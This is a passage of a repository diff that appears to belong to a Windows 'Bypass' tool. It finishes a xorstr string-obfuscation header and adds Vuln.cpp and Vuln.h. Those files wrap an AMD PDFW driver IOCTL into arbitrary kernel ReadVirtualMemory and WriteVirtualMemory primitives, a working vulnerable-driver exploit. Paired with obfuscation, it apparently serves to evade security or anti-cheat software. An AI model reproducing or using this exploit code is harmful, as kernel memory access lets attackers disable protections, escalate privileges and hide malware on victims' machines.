_mm_xor_si128(_mm_load_si128(reinterpret_cast<const __m128i*>(_storage + sizeof...(Keys) - 2)),
|
||||||
|
_mm_load_si128(reinterpret_cast<const __m128i*>(keys + sizeof...(Keys) - 2))));
|
||||||
|
#else
|
||||||
|
((Indices >= sizeof(_storage) / 16 ? static_cast<void>(0) : _mm_store_si128(
|
||||||
|
reinterpret_cast<__m128i*>(_storage) + Indices,
|
||||||
|
_mm_xor_si128(_mm_load_si128(reinterpret_cast<const __m128i*>(_storage) + Indices),
|
||||||
|
_mm_load_si128(reinterpret_cast<const __m128i*>(keys) + Indices)))), ...);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
XORSTR_FORCEINLINE const_pointer get() const noexcept
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const_pointer>(_storage);
|
||||||
|
}
|
||||||
|
|
||||||
|
XORSTR_FORCEINLINE pointer get() noexcept
|
||||||
|
{
|
||||||
|
return reinterpret_cast<pointer>(_storage);
|
||||||
|
}
|
||||||
|
|
||||||
|
XORSTR_FORCEINLINE pointer crypt_get() noexcept
|
||||||
|
{
|
||||||
|
// crypt() is inlined by hand because a certain compiler with a certain linker is _very_ slow
|
||||||
|
#if defined(__clang__)
|
||||||
|
alignas(alignment)
|
||||||
|
std::uint64_t arr[]{ ::jm::detail::load_from_reg(Keys)... };
|
||||||
|
std::uint64_t* keys =
|
||||||
|
(std::uint64_t*)::jm::detail::load_from_reg((std::uint64_t)arr);
|
||||||
|
#else
|
||||||
|
alignas(alignment) std::uint64_t keys[]{ ::jm::detail::load_from_reg(Keys)... };
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(_M_ARM64) || defined(__aarch64__) || defined(_M_ARM) || defined(__arm__)
|
||||||
|
#if defined(__clang__)
|
||||||
|
((Indices >= sizeof(_storage) / 16 ? static_cast<void>(0) : __builtin_neon_vst1q_v(
|
||||||
|
reinterpret_cast<uint64_t*>(_storage) + Indices * 2,
|
||||||
|
veorq_u64(__builtin_neon_vld1q_v(reinterpret_cast<const uint64_t*>(_storage) + Indices * 2, 51),
|
||||||
|
__builtin_neon_vld1q_v(reinterpret_cast<const uint64_t*>(keys) + Indices * 2, 51)),
|
||||||
|
51)), ...);
|
||||||
|
#else // GCC, MSVC
|
||||||
|
((Indices >= sizeof(_storage) / 16 ? static_cast<void>(0) : vst1q_u64(
|
||||||
|
reinterpret_cast<uint64_t*>(_storage) + Indices * 2,
|
||||||
|
veorq_u64(vld1q_u64(reinterpret_cast<const uint64_t*>(_storage) + Indices * 2),
|
||||||
|
vld1q_u64(reinterpret_cast<const uint64_t*>(keys) + Indices * 2)))), ...);
|
||||||
|
#endif
|
||||||
|
#elif !defined(JM_XORSTR_DISABLE_AVX_INTRINSICS)
|
||||||
|
((Indices >= sizeof(_storage) / 32 ? static_cast<void>(0) : _mm256_store_si256(
|
||||||
|
reinterpret_cast<__m256i*>(_storage) + Indices,
|
||||||
|
_mm256_xor_si256(
|
||||||
|
_mm256_load_si256(reinterpret_cast<const __m256i*>(_storage) + Indices),
|
||||||
|
_mm256_load_si256(reinterpret_cast<const __m256i*>(keys) + Indices)))), ...);
|
||||||
|
|
||||||
|
if constexpr (sizeof(_storage) % 32 != 0)
|
||||||
|
_mm_store_si128(
|
||||||
|
reinterpret_cast<__m128i*>(_storage + sizeof...(Keys) - 2),
|
||||||
|
_mm_xor_si128(_mm_load_si128(reinterpret_cast<const __m128i*>(_storage + sizeof...(Keys) - 2)),
|
||||||
|
_mm_load_si128(reinterpret_cast<const __m128i*>(keys + sizeof...(Keys) - 2))));
|
||||||
|
#else
|
||||||
|
((Indices >= sizeof(_storage) / 16 ? static_cast<void>(0) : _mm_store_si128(
|
||||||
|
reinterpret_cast<__m128i*>(_storage) + Indices,
|
||||||
|
_mm_xor_si128(_mm_load_si128(reinterpret_cast<const __m128i*>(_storage) + Indices),
|
||||||
|
_mm_load_si128(reinterpret_cast<const __m128i*>(keys) + Indices)))), ...);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return (pointer)(_storage);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
template<class L, std::size_t Size, std::size_t... Indices>
|
||||||
|
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
|
||||||
|
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
|
||||||
|
Size,
|
||||||
|
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
|
||||||
|
std::index_sequence<Indices...>>;
|
||||||
|
|
||||||
|
} // namespace jm
|
||||||
|
|
||||||
|
#endif // include guard
|
||||||
60
Vuln/Vuln.cpp
Normal file
60
Vuln/Vuln.cpp
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
#include "Vuln.h"
|
||||||
|
|
||||||
|
namespace Vuln
|
||||||
|
{
|
||||||
|
BOOL WINAPI ReadVirtualMemory(
|
||||||
|
_In_ HANDLE DeviceHandle,
|
||||||
|
_In_ ULONG_PTR Address,
|
||||||
|
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||||
|
_In_ ULONG NumberOfBytes)
|
||||||
|
{
|
||||||
|
PDFW_MEMCPY request;
|
||||||
|
|
||||||
|
RtlSecureZeroMemory(&request, sizeof(request));
|
||||||
|
|
||||||
|
request.Destination = Buffer;
|
||||||
|
request.Source = (PVOID)Address;
|
||||||
|
request.Size = NumberOfBytes;
|
||||||
|
|
||||||
|
DWORD BytesReturned;
|
||||||
|
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
DeviceHandle,
|
||||||
|
IOCTL_AMDPDFW_MEMCPY,
|
||||||
|
&request,
|
||||||
|
sizeof(request),
|
||||||
|
&request,
|
||||||
|
sizeof(request),
|
||||||
|
&BytesReturned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI WriteVirtualMemory(
|
||||||
|
_In_ HANDLE DeviceHandle,
|
||||||
|
_In_ ULONG_PTR Address,
|
||||||
|
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
|
||||||
|
_In_ ULONG NumberOfBytes)
|
||||||
|
{
|
||||||
|
PDFW_MEMCPY request;
|
||||||
|
|
||||||
|
RtlSecureZeroMemory(&request, sizeof(request));
|
||||||
|
|
||||||
|
request.Destination = (PVOID)Address;
|
||||||
|
request.Source = Buffer;
|
||||||
|
request.Size = NumberOfBytes;
|
||||||
|
|
||||||
|
DWORD BytesReturned;
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
DeviceHandle,
|
||||||
|
IOCTL_AMDPDFW_MEMCPY,
|
||||||
|
&request,
|
||||||
|
sizeof(request),
|
||||||
|
&request,
|
||||||
|
sizeof(request),
|
||||||
|
&BytesReturned,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
31
Vuln/Vuln.h
Normal file
31
Vuln/Vuln.h
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "../Bypass.h"
|
||||||
|
|
||||||
|
#define FILE_DEVICE_AMD_PDFW (DWORD)0x8000
|
||||||
|
#define PDFW_MEMCPY_FUNC (DWORD)0x805
|
||||||
|
|
||||||
|
#define IOCTL_AMDPDFW_MEMCPY CTL_CODE(FILE_DEVICE_AMD_PDFW, PDFW_MEMCPY_FUNC, METHOD_BUFFERED, FILE_ANY_ACCESS) // 0x80002014
|
||||||
|
|
||||||
|
typedef struct _PDFW_MEMCPY {
|
||||||
|
BYTE Reserved[16];
|
||||||
|
PVOID Destination;
|
||||||
|
PVOID Source;
|
||||||
|
PVOID Reserved2;
|
||||||
|
DWORD Size;
|
||||||
|
DWORD Reserved3;
|
||||||
|
} PDFW_MEMCPY, * PPDFW_MEMCPY;
|
||||||
|
|
||||||
|
namespace Vuln
|
||||||
|
{
|
||||||
|
BOOL WINAPI WriteVirtualMemory(
|
||||||
|
_In_ HANDLE DeviceHandle,
|
||||||
|
_In_ ULONG_PTR Address,
|
||||||
|
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
|
||||||
|
_In_ ULONG NumberOfBytes);
|
||||||
|
|
||||||
|
BOOL WINAPI ReadVirtualMemory(
|
||||||
|
_In_ HANDLE DeviceHandle,
|
||||||
|
_In_ ULONG_PTR Address,
|
||||||
|
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||||
|
_In_ ULONG NumberOfBytes);
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user